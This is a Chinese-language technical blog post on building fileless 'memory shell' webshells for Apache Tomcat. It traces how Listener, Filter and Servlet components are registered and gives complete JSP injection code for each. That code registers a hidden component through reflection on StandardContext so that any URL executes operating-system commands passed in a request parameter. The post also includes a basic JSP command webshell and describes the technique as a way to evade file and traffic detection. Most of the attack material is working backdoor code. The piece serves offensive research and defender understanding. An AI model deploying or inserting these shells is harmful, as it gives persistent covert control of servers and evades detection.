webshell木马配合webshell管理工具可以方便对于服务器、内网进行进一步的维权、入侵,随着对文件内容查杀、以Ai对流量特征和行为模式的查杀等等手段,普通文件形式的webshell木马可靠性越来越差。也许好不容易绕过waf传上去两分钟不到就被杀掉了,所以攻击方在近些年也慢慢的研发出“无文件”的webshell木马,即内存马。内存马的概念提出比较久的,但走进视野就近几年的事情,每隔一段时间总能看到不少师傅提出新的内存马实现方法,这里简单说下利用JavaWeb的三大组件Servle、Filter、Listener来动态注册内存马的方式。
jsp带回显的webshell木马:
<% if(request.getParameter("shell")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
request来获得用户请求,当shell字段的get请求存在时,将shell字段的请求信息当作cmd命令去执行,然后执行的结果通过getInputStream()输入流读返回结果,结果读进byte数组中,若有回显,则打印出结果。
然而现在的内存马则将重点放在注册恶意组件上,对于Tomcat主要通过JavaWeb的Servlet、Filter、Listener这三大组件来实现。简单说下他们的功能:
1、Servlet来处理客户端请求的动态资源,也就说我们用浏览器跳转后,请求由Servlet接受和处理,并完成响应,其中init方法在于接收客户端的第一次请求,service每次请求都会调用,destroy则是销毁用的。
2、Filter是拦截器,作用在于拦截请求路径,init在创建Filter对象是调用。doFilter在请求到来,被拦截时执行,destroy就是销毁此对象。
3、Listener是事件监听器,作用在于当某事件(比如点击等)在特定事件源发生时执行监听器代码,contextInitialized在Servletcontext创建时调用,contextDestroyed则在Servletcontext销毁时调用。
加载的顺序为Listener->Filter->Servlet。
在基于tomcat编写内存马时经常会遇到它的三个Context,及ServletContext、ApplicationContext、StandardContext,这里简单了解下:
首先是Servlet,浏览器发送请求,浏览器接受请求后对请求作出处理,而Tomcat作为一个Servlet容器,将请求传给Servlet,并将相应返回给浏览器,而ServletContext就是servlet要实现的接口,比如路径信息或者拦截信息等。
ApplicationContext的功能则在于实现ServletContext规范,一些对应方法的实现,例如addFilter等功能。
而在看StandardContext时会发现,ApplicationContext调用的context方法是StandardContext实现的对象,则StandardContext其实是底层与Tomcat底层交互的内容。
既然加载顺序为Listener->Filter->Servlet,那么也根据这个顺序来调试。
在注册一个listener时因为要匹配不同的事件,常用的分为ServletContextListener、ServletContextAttributeListener、ServletRequestAttributeListener、HttpSessionListener、ServletRequestListener、HttpSessionAttributeListener,一般常用ServletRequestListener来作内存马,因为他可以监听我们任意访问的资源,在访问资源会触发后其requestInitialized方法。
ServletRequestListener的接口有两个事件处理方法:requestInitialized与requestDestroyed, requestInitialized(ServletRequestEvent sre)在与接受对应类型的参数,通过此参数来获得创建的对象;requestDestroyed(ServletRequestEvent sre)则是参数对象销毁时,调用此方法。知道这些就可以创建一个恶意Listener类:
@WebListener
public class ListenerShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String command = req.getParameter("cmd");
if (command != null) {
try {
InputStream in = Runtime.getRuntime().exec(command).getInputStream();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
其中HttpServletRequest代表浏览器请求,HTTP的所有信息都封装在此对象中,也就是可以从中得到请求信息,后面的就是请求读取请求命令和执行命令了。
访问任意路由即可执行命令。接下来我们进行debug调试,从而知道他如何添加进去的。在我们添加的
public class ListenerShell implements ServletRequestListener {
处下断点,查看调用栈:
<init>:11, ListenerShell (com.Listener)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:150, DefaultInstanceManager (org.apache.catalina.core)
listenerStart:4691, StandardContext (org.apache.catalina.core)
.....
其中listenerStart我们跟进去看下
public boolean listenerStart() {
if (log.isDebugEnabled()) {
log.debug("Configuring application event listeners");
}
String[] listeners = this.findApplicationListeners();
Object[] results = new Object[listeners.length];
boolean ok = true;
for(int i = 0; i < results.length; ++i) {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Configuring event listener class '" + listeners[i] + "'");
}
try {
String listener = listeners[i];
results[i] = this.getInstanceManager().newInstance(listener);
}
......
其中findApplicationListeners方法就是将我们要注册的Listener传入该方法中,其中这里demo的值为com.Listener.ListenerShell,与写代码的文件目录一致。后面将对象信息传入results里,接下来对于类型进行分类
if (lifecycleListener instanceof ServletContextAttributeListener || lifecycleListener instanceof ServletRequestAttributeListener || lifecycleListener instanceof ServletRequestListener || lifecycleListener instanceof HttpSessionIdListener || lifecycleListener instanceof HttpSessionAttributeListener) {
eventListeners.add(lifecycleListener);
}
因为这里实现的是ServletRequestListener,所以分到eventListeners数组中 然后调用了getApplicationEventListeners
eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));
this.setApplicationEventListeners(eventListeners.toArray());
public Object[] getApplicationEventListeners() {
return this.applicationEventListenersList.toArray();
}
其中返回的applicationEventListenersList,为已经注册的Listener,
public void setApplicationEventListeners(Object[] listeners) {
this.applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
this.applicationEventListenersList.addAll(Arrays.asList(listeners));
}
}
setApplicationEventListeners主要完成applicationEventListenersList清空和重新赋值的操作 ,我们注册的Listener就存储在此。接下来我们去考虑Listener是如何触发的,此时我们在
public void requestInitialized(ServletRequestEvent sre) {
下断点进行调试,并用浏览器访问路由,打开debug,在调用栈中看到
requestInitialized:14, ListenerShell (com.Listener)
fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
......
进入fireRequestInitEvent中:
public boolean fireRequestInitEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
Object[] var4 = instances;
int var5 = instances.length;
for(int var6 = 0; var6 < var5; ++var6) {
Object instance = var4[var6];
if (instance != null && instance instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instance;
try {
listener.requestInitialized(event);
} catch (Throwable var10) {
ExceptionUtils.handleThrowable(var10);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);
request.setAttribute("javax.servlet.error.exception", var10);
return false;
}
}
}
}
return true;
}
代码中获得Listener的方法也是调用了getApplicationEventListeners来获取,然后遍历数组,当是要调用的事件型监听器时,用listener.requestInitialized(event)将其触发。
现在知道Listener怎么存储了触发了,但我们还要知道如何添加Listener,这里说两种方案:
第一种,通过setApplicationEventListeners将Listener添加到数组中。
第二种,通过addApplicationEventListener方法来添加。
不管哪种方案,第一步肯定是获得StandardContext类,在上面的调用栈中可以看到调用了StandardHostValve的invoke方法,我们看下:
public final void invoke(Request request, Response response) throws IOException, ServletException {
Context context = request.getContext();
那么我们也可以通过request来获取StandardContext。获取后我们就分别说下添加Listener的两种方案:
第一种,通过getApplicationEventListeners获取的StandardContext中的Listener数组,并将添加我们创建的listener进去,再setApplicationEventListeners数组即可:
Object[] objects = context.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> listenershelllist = new ArrayList(listeners);
ListenerShell listenershell = new ListenerShell;
listenershelllist.add(listenershell);
context.setApplicationEventListeners(listenershelllist.toArray());
第二种,StandardContext中有addApplicationEventListener方法,可以直接添加Listener:
ListenerShell listenershell = new ListenerShell;
context.addApplicationEventListener(listenershell);
附上第一种的完整代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.ArrayList" %>
<%
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String command = req.getParameter("listenershell");
if (command != null) {
try {
InputStream in = Runtime.getRuntime().exec(command).getInputStream();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Object[] objects = context.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> listenershelllist = new ArrayList(listeners);
ListenerMemShell listenershell = new ListenerMemShell();
listenershelllist.add(listenershell);
context.setApplicationEventListeners(listenershelllist.toArray());
%>
访问jsp即注入成功后,任意路由?listenershell=command即可执行命令。
创建一个恶意Filter,恶意代码写再doFilter里:
public class FilterShell implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String command1 = request.getParameter("cmd1");
if (command1 != null) {
try {
InputStream in = Runtime.getRuntime().exec(command1).getInputStream();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
在web.xml里配置:
<filter>
<filter-name>FilterShell</filter-name>
<filter-class>com.Filter.FilterShell</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterShell</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
在正式调试之前,有几个类需要简单知道一下:
FilterDef 存储过滤器名filterName,过滤器实例filterClass,url 等基本信息
FilterConfigs存储当前上下文信息StandardContext、FilterDef 和 Filter对象等信息
FilterMaps 中主要存放了 FilterName 以及对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
我们在doFilter处下断点,访问路由,查看调用栈:
doFilter:15, FilterShell (com.Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
......
我们看下ApplicationFilterChain:
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (this.pos < this.n) {
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}
if (Globals.IS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response, this};
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (ServletException | RuntimeException | IOException var15) {
throw var15;
} catch (Throwable var16) {
Throwable e = ExceptionUtils.unwrapInvocationTargetException(var16);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
} else {
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
if (request.isAsyncSupported() && !this.servletSupportsAsync) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}
if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response};
SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal);
} else {
this.servlet.service(request, response);
}
} catch (ServletException | RuntimeException | IOException var17) {
throw var17;
} catch (Throwable var18) {
Throwable e = ExceptionUtils.unwrapInvocationTargetException(var18);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set((Object)null);
lastServicedResponse.set((Object)null);
}
}
}
}
我们可以看到通过filter.doFilter(request, response, this);来调用了doFilter,然后再向前看如何获得fiter:Filter filter = filterConfig.getFilter(); 前面已经简单说过了filterConfigs是什么了,一个filterConfig是一个ApplicationFilterConfig的实现类,在ApplicationFilterChain中:
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
是将值传入,那么需要知道在哪初始化ApplicationFilterChain;在StandardWrapperValve#invoke中:
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
跟进createFilterChain,需要关注StandardContext、filterChain、FilterMaps、FilterConfig这些的操作。代码通过
StandardContext context = (StandardContext)wrapper.getParent();
来获取当前的StandardContext,并通过
FilterMap[] filterMaps = context.findFilterMaps();
来获得filterMap,通过filter名字得到对应的filterConfig:
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
最后通过
filterChain.addFilter(filterConfig);
加入到filterChain中,,思路比较清晰,只要知道如何将我们想要的Filter信息添加到filterConfigs中,就可以添加到filterChain,从而触发。直接看debug信息可能直观一点:
image.png
跟刚开始介绍的一样,filterDef需要对应的filter、filterName、FilterClass;filterMaps则需要filterName、urlPattern、dispatcherMapping。还有一点是获得StandardContext,有许多资源可以加以利用,方法很多,简单写两种大佬的demo:
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
或者
//获取servletContext
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//获取applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//获取standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
然后就是注入jsp的代码了:
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="java.util.HashMap" %>
<%
class FIlterShell implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String FilterShell = request.getParameter("FilterShell");
if (FilterShell != null) {
try {
Runtime.getRuntime().exec(FilterShell);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
public void destroy() {
}
}
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
FIlterShell filter = new FIlterShell();
String FiterName = "FilterMemShell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(FiterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(FiterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Field Config = standardContext.getClass().getDeclaredField("filterConfigs");
Config.setAccessible(true);
HashMap filterConfigs = (HashMap) Config.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(FiterName, filterConfig);
%>
不管获得StandardContext还是添加filterConfigs其实都有不少的代码实现,但思路大概差不太多,这里只是写一种方法。
在开始时看到有师傅用两个接口来实现内存马,分别是Servlet和HttpServlet,HttpServlet在Servlet的基础上添加了HTTP协议的处理方法,不在直接使用Servlet的service方法,而是对于Http的不同请求,分别调用doGet和doPost方法。虽然接口不同,但调用到底层差不多,这里选择实现HttpServlet来分析。编写Servlet恶意类:
public class ServletShell extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String command2 = req.getParameter("cmd2");
if (command2 != null) {
try {
InputStream in = Runtime.getRuntime().exec(command2).getInputStream();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
在web.xml注册:
<servlet>
<servlet-name>ServletShell</servlet-name>
<servlet-class>com.Servlet.ServletShell</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServletShell</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
这次在ContextConfig#webconfig打断点,此方法的主要作用在于读取web.xml以及其他配置操作,可以较为形象的跟踪servlet的读取过程。查看调用栈:
webConfig:1264, ContextConfig (org.apache.catalina.startup)
configureStart:986, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:303, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:5135, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:726, ContainerBase (org.apache.catalina.core)
addChild:698, ContainerBase (org.apache.catalina.core)
addChild:696, StandardHost (org.apache.catalina.core)
manageApp:1783, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
......
里面的fireLifecycleEvent解析调用了web.xml内容
protected void fireLifecycleEvent(String type, Object data) {
LifecycleEvent event = new LifecycleEvent(this, type, data);
Iterator var4 = this.lifecycleListeners.iterator();
while(var4.hasNext()) {
LifecycleListener listener = (LifecycleListener)var4.next();
listener.lifecycleEvent(event);
}
}
从而webconfig调用此解析内容进行配置,将内容通过configureContext来创建StandWrapper
if (this.ok) {
this.configureContext(webXml);
}
} else {
webXml.merge(tomcatWebXml);
webXml.merge(defaults);
this.convertJsps(webXml);
this.configureContext(webXml);
}
在后面通过:
this.context.addServletMappingDecoded(urlPattern, jspServletName, true);
进行url路径的添加,因为加载顺序是Listener->Filter->Servlet,所以还要之间还要对Listener,Filter进行加载,到后由loadOnStartup加载之前的wrapper,其中有一个判断需要注意下:
if (loadOnStartup >= 0) {
Integer key = loadOnStartup;
ArrayList<Wrapper> list = (ArrayList)map.get(key);
if (list == null) {
list = new ArrayList();
map.put(key, list);
}
list.add(wrapper);
}
也就是说loadOnStartup大于等于0才会进行后续的操作(其实设置为0也不会进行),这个属性默认-1,表示启动的优先级,往后就成功加载了Servlet了。其中configureContext在创建Wrapper时规定了几个必要的属性:
LoadOnStartup属性:
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
ServletName属性:
wrapper.setName(servlet.getServletName());
ServletClass属性:
wrapper.setServletClass(servlet.getServletClass());
那我们加载的代码逻辑就在创建wrapper后,分别设置LoadOnStartup属性、ServletName属性以及ServletClass属性,最后通过addChild以及addServletMappingDecoded进行加载到对应路径,完整代码如下:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import= "javax.servlet.ServletException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class ServletShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String command = req.getParameter("servletshell");
if (command != null) {
try {
InputStream in = Runtime.getRuntime().exec(command).getInputStream();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
ServletShell shellservlet = new ServletShell();
String servletname = shellservlet.getClass().getSimpleName();
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Wrapper wrappershell = standardContext.createWrapper();
wrappershell.setServlet(shellservlet);
wrappershell.setLoadOnStartup(1);
wrappershell.setName(servletname);
wrappershell.setServletClass(shellservlet.getClass().getName());
standardContext.addChild(wrappershell);
standardContext.addServletMappingDecoded("/*",servletname);
%>
这里只介绍了最基本的几种内存马,对于spring默认不解析jsp的有其他的利用方式,而且字节注入内存马和其他骚操作也有很广的利用场景,不少师傅也挖到了利用链,但在实战中写内存马一定要注意路径匹配问题,一旦把路由弄乱,影响测试方的正常业务,那就糟糕了。